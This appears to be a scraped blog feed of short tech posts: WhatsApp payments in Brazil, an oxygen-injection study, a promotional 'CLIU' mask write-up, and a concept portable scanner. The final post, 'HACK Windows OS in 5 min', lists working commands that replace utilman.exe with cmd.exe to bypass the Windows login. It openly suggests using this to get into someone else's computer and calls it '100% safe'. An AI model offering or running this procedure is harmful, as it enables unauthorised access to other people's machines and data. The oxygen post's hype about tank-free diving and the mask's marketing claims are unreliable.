WhatsApp launches digital payments

After testing a beta version in India, WhatsApp has launched in-app payments in Brazil, the company announced in a blog post on Monday (via TechCrunch). The payments are enabled through Facebook Pay, which parent company Facebook said last year it would be rolling out to Instagram, Messenger, Facebook, and eventually WhatsApp.

“Payments on WhatsApp are beginning to roll out to people across Brazil beginning today and we look forward to bringing it to everyone as we go forward,” the company said in the post. WhatsApp says its digital payments are an open model that will allow it to add more partners in the future.

There will be no fees for consumers to use the payments service, but merchants will pay a processing fee to receive payments. Users need to link a credit or debit card to their WhatsApp account, and transactions are secured with either fingerprint or a six-digit PIN. The company says it will support debit or credit cards from Banco do Brasil, Nubank, and Sicredi, and it’s working with Brazilian payments processor Cielo.

WhatsApp has had peer-to-peer digital payments in the works for some time. It launched a closed beta in India in 2018, and many expected that country to be the first official site for WhatsApp payments. But as TechCrunch notes, Facebook has dealt with a number of regulatory issues in India and has a somewhat complicated history there; a 2017 plan to provide free Facebook access drew criticism and led to accusations of digital colonialism.

Facebook acquired WhatsApp for about $19 billion in 2014. As of February, the messaging service had more than 2 billion users.

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Injectable Oxygen

Researchers propose an oxygen injection that could eliminate the need to breathe for up to 30 minutes. 

We are going to start this article by asking you to hold your breath for half an hour or so. Easy, right? Well, umm, no — not so much.  

           As humans, we need to breathe pretty much all the time in order to provide our bodies with the oxygen they need to survive. What If You Didn’t Need to Breathe Underwater?In a paper published in Science Translational Medicine, researchers describe a new microparticle filled with oxygen that could be injected into a person’s blood stream and eliminate their need to breathe for 30 minutes at a time. The microcapsules are tiny bubbles of oxygen surrounded by a layer of lipids (fatty molecules) that are suspended in liquid so that they don’t grow and become deadly. When they enter the bloodstream, the capsules are capable of transferring about 70 percent of their oxygen to a person’s red blood cells. SEE ALSO: Whales May Hold Missing Ingredient for Synthetic Blood In a lab setting, scientists were able to keep rabbits alive for 15 minutes, even with blocked windpipes.

             

Just imagine their versatility for humans. You could go scuba diving without a tank, lifeguards could save drowning swimmers, and paramedics could use them to keep a patient alive on the way to the hospital. The possibilities are endless! “The microparticle solutions are portable and could stabilize patients in emergency situations, buying time for paramedics, emergency clinicians or intensive care clinicians to more safely place a breathing tube or perform other life-saving therapies,” John Kheir, MD, of the Department of Cardiology at Boston Children’s Hospital, and one of the authors of the paper in a press release. “Eventually, this could be stored in syringes on every code cart in a hospital, ambulance or transport helicopter to help stabilize patients who are having difficulty breathing.”

Furthermore, you wouldn’t even need to be an expert to use such an injection. According to the paper, “they are portable and injectable into a vein without preparation or advanced medical training, making them ideal for broad use in emergency situations.” Thinking about becoming a mermaid and living underwater forever? Don’t give up your land life just yet. Using this type of injection for a longer period of time could be dangerous, as the liquid in the injection would overload your blood. But it may be  worth if you can be aqua man/woman.....

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Hi-Tech Mask

Wearing a Mask has never been so cool.

As Covid19 pandemic is going all around the world ,  having mask is one step forward to protect yourself from spread of virus . CLIU mask is a Hi-tech mask with advance tech built in it . It will protect your from spread virus without ruining your fashionable style.

  

    

    BE FREE 

    ü  free to breathe deeply

ü  free to communicate clearly

ü  free to show your special smile

ü  free to express yourself

ü  free to fascinate people around you. 

The unique style hides a long R&D project that combines design and advanced technology that makes the mask safe and sustainable. And with the devices integrated into the PRO version, your CLIU comes to life.

From the anti-fog and virus protection system, passing through a light weight design. Everything you need in one cool product .

This is  not a (Normal) Filter

It is having a special filtering system which, in addition to allowing easy breathing, is able to retain PM 2.5 particles and with antibacterial action. All with full environmental sustainability.

Charge the Battery.

Kill the Bacteria.

It is having a special UV base, designed especially for CLIU mask, you can charge your mask in less than an hour and kill all the bacteria in an instant.

It is also trouble free mask as you easily open front magnetic frame to have coffee or food with just one click without opening your mask.

It is having built in features like bluetooth , microphone and accelerometer . 

This mask is really very awesome and fashionable with hi-tech feature.

Thank you for reading our article and keep loving and supporting guys.

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Copy and Paste Tool

This copy and paste tool can be used to transfer information and data without a lot of effort.

Copy and Paste is a portable scanning and printing tool that you can use to copy and paste images or text. You don’t need your heavy printer or a photocopier machine. All you need is this small portable  scanner that can transfer images and text from one place to another place. This is helpful if there is a cool article or picture in magazine or newspaper article that you  like.

    Pushing the button on the bottom activates the scanner, while the button on the top activates the printer. The device is a scanner and printer in one. This relates to engineering because they took a printer and a scanner combined them in one and made it smaller an portable.

This is a a good solution if you need to print and scan things on the go with a portable hand help device. However as of now this is just a concept invention you can’t actually buy these yet. Follow us so that you would not miss articles.Keep loving and supporting us.

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HACK Windows OS in 5 min

Windows 10 is a very popular and cool OS but as we all know that there is always a small void in almost every OS. So do windows 10 also have. Anyone can bypass windows login page. This can be helpful if you forgot your password or you want to login in someone else’s OS. Note: This method can be used to bypass windows 8 and windows 7 also.

So here are the steps:

v  Insert a bootable pen drive which have windows setup in your pc/laptop(it should have same OS installed)

v  Open your boot manager(press f2/f18/f10/f12 according to your computer/laptop setup)

v  Click on ‘repair your computer’

v  Choose troubleshoot

v  Choose advance option

v  Now open command prompt

v  Now type the following command

Ø  c:

Ø  cd windows

Ø  cd system32

Ø  copy utilman.exe utilman1.exe

Ø  copy cmd.exe cmd1.exe

Ø  del utilman.exe

Ø  rename cmd.exe utilman.exe

Ø  exit

v  Now restart your computer

It will ask password but don’t worry

Ø  Click on ease of access

Ø  A command prompt will be open, type the following command

Ø  Control userpasswords2

Ø  Now simply a dialogue box will open, here you can reset/del/edit password.

So that’s how we just bypassed a windows OS. Comment below if you have any doubts. You can try this on your pc/laptop its 100% safe.

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